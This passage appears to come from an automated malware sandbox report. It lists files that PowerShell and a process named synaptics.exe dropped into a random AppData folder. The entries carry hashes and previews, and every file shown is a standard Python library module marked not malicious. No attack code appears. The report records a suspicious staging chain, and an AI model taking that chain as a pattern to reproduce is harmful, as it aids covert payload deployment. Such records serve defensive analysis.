              Malicious:false
              Reputation:unknown
              Preview:"""Routines to help recognizing sound files.....Function whathdr() recognizes various types of sound file headers...It understands almost all headers that SOX can decode.....The return tuple contains the following items, in this order:..- file type (as SOX understands it)..- sampling rate (0 if unknown or hard to decode)..- number of channels (0 if unknown or hard to decode)..- number of frames in the file (-1 if unknown or hard to decode)..- number of bits/sample, or 'U' for U-LAW, or 'A' for A-LAW....If the file doesn't have a recognizable type, it returns None...If the file can't be opened, OSError is raised.....To compute the total time, divide the number of frames by the..sampling rate (a frame contains a sample for each channel).....Function what() calls whathdr(). (It used to also use some..heuristics for raw data, but this doesn't work very well.)....Finally, the function test() is a simple main program that calls..what() for all files mentioned on the argument list. For dire

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):37745
              Entropy (8bit):4.6177949142646435
              Encrypted:false
              SSDEEP:
              MD5:DFBE056F2D850425AA0B39D9DC6BDA6A
              SHA1:A78C9D974BE1C3C49475BF35353B7AAD9771D567
              SHA-256:3B058383016C22045FC99872E34CEC0ADF1234BFBFA13D486E721FCCC2945936
              SHA-512:FA66AA6662B02048D3F438E8E2EC89EA96E8F5700205058A414253EAD5917BD737FC7C07B3158BD76EC26A3DD5CDD15D7A1F85335665ACD82FE260EED35797BE
              Malicious:false
              Reputation:unknown
              Preview:# Wrapper module for _socket, providing some additional facilities..# implemented in Python....."""\..This module provides socket operations and some related functions...On Unix, it supports IP (Internet Protocol) and Unix domain sockets...On other systems, it only supports IP. Functions specific for a..socket are available as methods of the socket object.....Functions:....socket() -- create a new socket object..socketpair() -- create a pair of new socket objects [*]..fromfd() -- create a socket object from an open file descriptor [*]..send_fds() -- Send file descriptor to the socket...recv_fds() -- Recieve file descriptors from the socket...fromshare() -- create a socket object from data received from socket.share() [*]..gethostname() -- return the current hostname..gethostbyname() -- map a hostname to its IP number..gethostbyaddr() -- map an IP number or hostname to DNS info..getservbyname() -- map a service name and a protocol name to a port number..getprotobyname() -- map a protoco

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socketserver.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28140
              Entropy (8bit):4.5175680890246905
              Encrypted:false
              SSDEEP:
              MD5:159421B571226C335F310FCA087240ED
              SHA1:ECE52601CAE44A979A55342045E046293780CB33
              SHA-256:062B0F5441D9C60F01DD7A60E359ACDB01125E36DB2BED84DB58B2294523B14A
              SHA-512:7ADE9382D2E307F2C2B81A096EED28EA367AB59BBA0DA80B424DB91242F48787AFBEF1EAFF750F0C52E724D5BEEABBA17C3687A4929C2F92059B324BF81EFC99
              Malicious:false
              Reputation:unknown
              Preview:"""Generic socket server classes.....This module tries to capture the various aspects of defining a server:....For socket-based servers:....- address family:.. - AF_INET{,6}: IP (Internet Protocol) sockets (default).. - AF_UNIX: Unix domain sockets.. - others, e.g. AF_DECNET are conceivable (see <socket.h>..- socket type:.. - SOCK_STREAM (reliable stream, e.g. TCP).. - SOCK_DGRAM (datagrams, e.g. UDP)....For request-based servers (including socket-based):....- client address verification before further looking at the request.. (This is actually a hook for any processing that needs to look.. at the request before anything else, e.g. logging)..- how to handle multiple requests:.. - synchronous (one request is handled at a time).. - forking (each request is handled by a new process).. - threading (each request is handled by a new thread)....The classes in this module favor the server type that is simplest to..write: a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2607
              Entropy (8bit):4.782580700337305
              Encrypted:false
              SSDEEP:
              MD5:56E9464AEEC255E249414D00B5A39075
              SHA1:899FDBF41346582414BC919615006626228B1A3D
              SHA-256:3DF225315EFFCA29C26196714CF4653A554671EC877019B4BB9D2C0D3A951DD6
              SHA-512:CC693DAEF562DE7B8F684AF49B36D1CC8CBBC427C332E9C000B87C12A96A19FC6548100EF2F77C679C011F7E1CF7A2B75C816A85540B50B1AB083222872A4F3A
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/__init__.py: the pysqlite2 package...#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source distri

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\__pycache__\__init__.cpython-310.pyc.58777744

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):1669
              Entropy (8bit):5.255103369588379
              Encrypted:false
              SSDEEP:
              MD5:C435CAAF473AC47FC75B8E850A01481C
              SHA1:95B7A1B444D79D9C9EF0A0BD87A4FB9950CB12A9
              SHA-256:13D36EA0B2A850BC237FFAD48C49DF910FBE2917C238C7281A22A85C992B1BDB
              SHA-512:5923AB4F2C34A81D50E8A9061AD4B77324CFF4FCA0BDFF87827706EA81548B63BCEA1CFAE77FDF5D460403FCE2C389AAF94D521AAB4342DB56EC8FF5D311AB5B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\__pycache__\dbapi2.cpython-310.pyc.58778192

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2997
              Entropy (8bit):5.132002601762046
              Encrypted:false
              SSDEEP:
              MD5:76A6D0741D4078878793BA23DF7FC003
              SHA1:AA57B0B4014C9C20490D38E2D0276653B5D4A147
              SHA-256:F915611EAD0A115F729EEDEF1DE41C0FB6609195DC3AE4E1862EEBE9D260CCD5
              SHA-512:7E113B962946E05490D931A51A186DF8E406FA74094E84ACE80CFA73C9B78BEB61333ED4F626E536F06ACF8C9F9F0A6C822B4A8B135F8C1F83263C6ADB158585
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-db........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.|.].}.t.|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.|.....t.t.j.|.....t.d.|.....t.d.|.....d.S.).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\dbapi2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3426
              Entropy (8bit):4.798494253126017
              Encrypted:false
              SSDEEP:
              MD5:B25FAA499B2E8E766D581E09B20319F6
              SHA1:F1B29C053EE58E14313C2640733D756C0C7FC213
              SHA-256:7296221686BEB47624EA7BF4AB82E9D5AA4E25160042946D2827868897762694
              SHA-512:ADDF733DC17A29AC1649878C3C8FAC467C9AA0DA9C3A0020FD6D58E7498E5C63BE6E55D957812DB2AD4EE2C251D635C838576709984416FF3DB342477D798AF4
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/dbapi2.py: the DB-API 2.0 interface..#..# Copyright (C) 2004-2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source d

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\dump.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):3374
              Entropy (8bit):4.814493644979349
              Encrypted:false
              SSDEEP:
              MD5:B5E473D97E46AF8C8E0D471CA17FC3E4
              SHA1:49547E57808925AC45611540E09F6B1C375EAF83
              SHA-256:30769C19582B0F62506E6BF9E4F36A86F9FD92F2E5C618F770EB14DA0C05F16E
              SHA-512:CD1262B666935CEEE69657A3186A4DC84EF788604E6ABD484A1D8E756283A4631149BCACE38725BD6930764C514636EA0AB77BB35B76FD07B64931276AFDAB5B
              Malicious:false
              Reputation:unknown
              Preview:# Mimic the sqlite3 console shell's .dump command..# Author: Paul Kippes <kippesp@gmail.com>....# Every identifier in sql is quoted based on a comment in sqlite..# documentation "SQLite adds new keywords from time to time when it..# takes on new features. So to prevent your code from being broken by..# future enhancements, you should normally quote any identifier that..# is an English language word, even if you do not have to."....def _iterdump(connection):.. """.. Returns an iterator to the dump of the database in an SQL text format..... Used to produce an SQL dump of the database. Useful to save an in-memory.. database for later restoration. This function should not be called.. directly but instead called from the Connection method, iterdump()... """.... cu = connection.cursor().. yield('BEGIN TRANSACTION;').... # sqlite_master table contains the SQL CREATE statements for the database... q = """.. SELECT "name", "type", "sql".. FROM "sqli

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\backup.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):6016
              Entropy (8bit):4.741653622865881
              Encrypted:false
              SSDEEP:
              MD5:AEC581A7572526389DB816001889E02E
              SHA1:B76A4ECD889BF1700B76BB9D74EB71D264ECBD50
              SHA-256:A49A36C9A094377078490C3FB7CBBA7B9F75B69FD8E6B14AA26B82F6E5FCF02C
              SHA-512:4E82F0B3D4CC89A7139E520A054BCD16FFC59CE07FCB360B819766272ED911A0CCC14A0880ACE1F4EAA24F25C43A8B106B8E8AB9029C0E8E0C89A3601EEC79E1
              Malicious:false
              Reputation:unknown
              Preview:import sqlite3 as sqlite..import unittest......class BackupTests(unittest.TestCase):.. def setUp(self):.. cx = self.cx = sqlite.connect(":memory:").. cx.execute('CREATE TABLE foo (key INTEGER)').. cx.executemany('INSERT INTO foo (key) VALUES (?)', [(3,), (4,)]).. cx.commit().... def tearDown(self):.. self.cx.close().... def verify_backup(self, bckcx):.. result = bckcx.execute("SELECT key FROM foo ORDER BY key").fetchall().. self.assertEqual(result[0][0], 3).. self.assertEqual(result[1][0], 4).... def test_bad_target(self):.. with self.assertRaises(TypeError):.. self.cx.backup(None).. with self.assertRaises(TypeError):.. self.cx.backup().... def test_bad_target_filename(self):.. with self.assertRaises(TypeError):.. self.cx.backup('some_file_name.db').... def test_bad_target_same_connection(self):.. with self.assertRaises(ValueError):.. self.cx

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\dbapi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):40385
              Entropy (8bit):4.588087457692222
              Encrypted:false
              SSDEEP:
              MD5:6539BCA6900C9B6C073C978D2ACF51B4
              SHA1:8610EFAAC05DAB02FB6B6FBA4531FB2C98C82203
              SHA-256:E61C779D30E6A5A59A28A6CF6196B56CDDCDD639EC8A1A171E072FED1CE7B628
              SHA-512:2F362BFCDC54A750C4421A00059EC028683D6F5D59DE04DC78BB15BEAC176D5ACB33AC8026325BB50599719FE136CF898F6E149EF02AD3D465D9B470BF2AB62C
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/dbapi.py: tests for DB-API compliance..#..# Copyright (C) 2004-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\dump.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4803
              Entropy (8bit):4.617724687837092
              Encrypted:false
              SSDEEP:
              MD5:A9C61F849956F87269BA639FA0224747
              SHA1:142CAEE6C62304D7AD4D6CE35F66186C6A778ECB
              SHA-256:6108E4763A319C81534103F8A834455F573220F409D0EA511D0977F500E8D203
              SHA-512:46B87C899F80D6AD4EDF9C8688760D1ABA7806127AE4F9A2CF36A4EBDD278C704C10E9DD6507374BA96F357713FD7EBBA9FCC5BA4C29943A5A348812C25D28C5
              Malicious:false
              Reputation:unknown
              Preview:# Author: Paul Kippes <kippesp@gmail.com>....import unittest..import sqlite3 as sqlite......class DumpTests(unittest.TestCase):.. def setUp(self):.. self.cx = sqlite.connect(":memory:").. self.cu = self.cx.cursor().... def tearDown(self):.. self.cx.close().... def test_table_dump(self):.. expected_sqls = [.. """CREATE TABLE "index"("index" blob);""".. ,.. """INSERT INTO "index" VALUES(X'01');""".. ,.. """CREATE TABLE "quoted""table"("quoted""field" text);""".. ,.. """INSERT INTO "quoted""table" VALUES('quoted''value');""".. ,.. "CREATE TABLE t1(id integer primary key, s1 text, " \.. "t1_i1 integer not null, i2 integer, unique (s1), " \.. "constraint t1_idx1 unique (i2));".. ,.. "INSERT INTO \"t1\" VALUES(1,'foo',10,20);".. ,.. "

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\factory.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12677
              Entropy (8bit):4.724023019248057
              Encrypted:false
              SSDEEP:
              MD5:C1F9F8A4DC59A1C15A4FE146C452183F
              SHA1:9A053FB59D6CD508FB53AFC1085FF0E525F4CF5F
              SHA-256:F01879CF1EA68384C47D1CD9C688610AFDAF161DDE628D40ECB633E4521B33B1
              SHA-512:CD9D1446A344324F9D33F7BB668DCD38A6A314AD521CA6640C5D7113D3FBBFD9DCC966CEDD5A47E2A9BFCE4234086193DA1FB4AF65B03D58C87936D8D1B27333
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/factory.py: tests for the various factories in pysqlite..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\hooks.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11217
              Entropy (8bit):4.438152767552218
              Encrypted:false
              SSDEEP:
              MD5:8326D0B9A8A0752CB58DEFD0E0996FC3
              SHA1:AEA926412A3A5E74BB48F3E9FB054796979C8D31
              SHA-256:CC5209FC0BA75D0EF84372E3E27C1CF961B2A1F10146DA4C6C8DF62D9A24ADB6
              SHA-512:3EE676F7C54902D1A87106CF26E3F30B506183FA8F972B3CB68147DB0D8F4CBF13F742BF88BDA0E9965A13623D38912906499BFB0DA7EAA4B04042F96E979965
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/hooks.py: tests for various SQLite-specific hooks..#..# Copyright (C) 2006-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altere

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\regression.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):17793
              Entropy (8bit):4.591250100488077
              Encrypted:false
              SSDEEP:
              MD5:55B56B3113C910107F2FCF934BB8DA40
              SHA1:751A7AC013ADB81690259713933D830A763B1A25
              SHA-256:D0A5C63EF19C729C3F272DE70584A3ADCF7F93B2AC41E084D357BEEFFFFC99D5
              SHA-512:76437E7DBB1475963EC9892E963462CF534A5ADEC7BE18D37F0AAB67FA86754103CF75A2E7AB19B1B13CF466FF924E4EB4E50DE49E829D2E1D5EC3D981F9122C
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/regression.py: pysqlite regression tests..#..# Copyright (C) 2006-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from an

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\transactions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7690
              Entropy (8bit):4.581086760965344
              Encrypted:false
              SSDEEP:
              MD5:ADD004A53BBE4E30587DD0ACC3EEEEED
              SHA1:1D7C55785C424A5E7C8A1FF4FB67C947DA2207A1
              SHA-256:3D27164EEDC497BD57C83FB437418B52C5900F44A7BACB6C7A4676F784B837B3
              SHA-512:5E0CFC446B9B6EE34EA0A13E1A9D4D095E12CE72A199208A3818EA6725F0AA381DE6E0F2569B21D57FD74D61E5FF59334E39C2335FB58C2E6A3E54FEAC60D47F
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/transactions.py: tests transactions..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any sou

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\types.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):17190
              Entropy (8bit):4.616954370576151
              Encrypted:false
              SSDEEP:
              MD5:61C68E5E631D3AC0C379E6FE4B2953A9
              SHA1:6E56366DEF72BDAC281B0A3073D18BB2842B5E02
              SHA-256:421C9646BF5011A5B668BFB15D61E018A939322AC00646E188C708CDC1CF26A2
              SHA-512:28F88419FB547E479323709C9A91473EAE0E7D2A78B230F1D26930F5C517CD15D7331425F7039460DA6F0DB760780CD8DA1F6F580A5600983A2052B26F646D0D
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/types.py: tests for type conversion and detection..#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered fro

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sqlite3\test\userfunctions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20148
              Entropy (8bit):4.662994577920809
              Encrypted:false
              SSDEEP:
              MD5:93807FB7CBDEE9AAC361028C6A4268FD
              SHA1:DC414C7963CE880D8A67A986474CE1A544A852AB
              SHA-256:DA83E28CAC7914D45708DDE1113CF1CE91E06B8E1107B554CAF92D0D7039C73D
              SHA-512:DD83B4E7A58D7D988E1FEB3A908EAC56A213CD2322B5F6954A7A1427E892177FC100A1E302AD2646C8D70B6B4E739536E155FF9270B6E6FEFAB15B5ECFF24ED5
              Malicious:false
              Reputation:unknown
              Preview:# pysqlite2/test/userfunctions.py: tests for user-defined functions and..# aggregates...#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original sof

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_compile.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28781
              Entropy (8bit):4.519014462745639
              Encrypted:false
              SSDEEP:
              MD5:F09EB9E5E797B7B1B4907818FEF9B165
              SHA1:8F9E2BC760C7A2245CAE4628CAECDF1ADA35F46D
              SHA-256:CDB9BDCAB7A6FA98F45EF47D3745AC86725A89C5BAF80771F0451D90058A21D6
              SHA-512:E71FB7B290BB46AEE4237DBF7FF4ADC2F4491B1FC1C48BD414F5CE376D818564FD37B6113997A630393D9342179FCB7CE0462D6AAD5115E944F8C0CCAB1FA503
              Malicious:false
              Reputation:unknown
              Preview:#..# Secret Labs' Regular Expression Engine..#..# convert template to internal format..#..# Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....import _sre..import sre_parse..from sre_constants import *....assert _sre.MAGIC == MAGIC, "SRE module mismatch"...._LITERAL_CODES = {LITERAL, NOT_LITERAL}.._REPEATING_CODES = {REPEAT, MIN_REPEAT, MAX_REPEAT}.._SUCCESS_CODES = {SUCCESS, FAILURE}.._ASSERT_CODES = {ASSERT, ASSERT_NOT}.._UNIT_CODES = _LITERAL_CODES | {ANY, IN}....# Sets of lowercase characters which have the same uppercase..._equivalences = (.. # LATIN SMALL LETTER I, LATIN SMALL LETTER DOTLESS I.. (0x69, 0x131), # i... # LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S.. (0x73, 0x17f), # s... # MICRO SIGN, GREEK SMALL LETTER MU.. (0xb5, 0x3bc), # .... # COMBINING GREEK YPOGEGRAMMENI, GREEK SMALL LETTER IOTA, GREEK PROSGEGRAMMENI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_constants.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7438
              Entropy (8bit):5.182844332397723
              Encrypted:false
              SSDEEP:
              MD5:BCA79743254AA4BC94DACE167A8B0871
              SHA1:D1DA34FBE097F054C773FF8040D2E3852C3D77F1
              SHA-256:513373CDE5987D794DC429F7C71A550FE49E274BF82D0856BEC40DCA4079DADC
              SHA-512:1C0AB3CE7B24ACD2FFBD39A9D4BF343AA670525465B265A6572BDEC2036B1A72AAAFE07AFE63A21246456427F10BE519AEEE9FC707CBB0151AC1E180239AD2AF
              Malicious:false
              Reputation:unknown
              Preview:#..# Secret Labs' Regular Expression Engine..#..# various symbols used by the regular expression engine...# run this script to update the _sre include files!..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# update when constants are added or removed....MAGIC = 20171005....from _sre import MAXREPEAT, MAXGROUPS....# SRE standard exception (access as sre.error)..# should this really be here?....class error(Exception):.. """Exception raised for invalid regular expressions..... Attributes:.... msg: The unformatted error message.. pattern: The regular expression pattern.. pos: The index in the pattern where compilation failed (may be None).. lineno: The line corresponding to pos (may be None).. colno: The column corresponding to pos (may be None).. """.... __module__ = 're'.... def __init__(self, msg, p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sre_parse.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):41855
              Entropy (8bit):4.104634138762242
              Encrypted:false
              SSDEEP:
              MD5:D1AF43B8E4F286625A0144373CF0DE28
              SHA1:7FBD019519C5223D67311E51150595022D95FE86
              SHA-256:C029A310E36013ABC15610FF09A1E31D9FB1A0E4C60293150722C08FC9E7B090
              SHA-512:75AB3B5A2AAD2AC44AB63028982A94BB718AAF6C67F6B59A8EDC8C2C49287DD16667923E1889C68404053D61DF742864A6E85545BBFB17624A5844BB049767F9
              Malicious:false
              Reputation:unknown
              Preview:#..# Secret Labs' Regular Expression Engine..#..# convert re-style regular expression to sre pattern..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# XXX: show string offset and offending character for all errors....from sre_constants import *....SPECIAL_CHARS = ".\\[{()*+?^$|"..REPEAT_CHARS = "*+?{"....DIGITS = frozenset("0123456789")....OCTDIGITS = frozenset("01234567")..HEXDIGITS = frozenset("0123456789abcdefABCDEF")..ASCIILETTERS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")....WHITESPACE = frozenset(" \t\n\r\v\f")...._REPEATCODES = frozenset({MIN_REPEAT, MAX_REPEAT}).._UNITCODES = frozenset({ANY, RANGE, IN, LITERAL, NOT_LITERAL, CATEGORY})....ESCAPES = {.. r"\a": (LITERAL, ord("\a")),.. r"\b": (LITERAL, ord("\b")),.. r"\f": (LITERAL, ord("\f")),.. r"\n": (LITERAL, ord("\n")),.. r"\r": (LITERAL, ord("\r"))

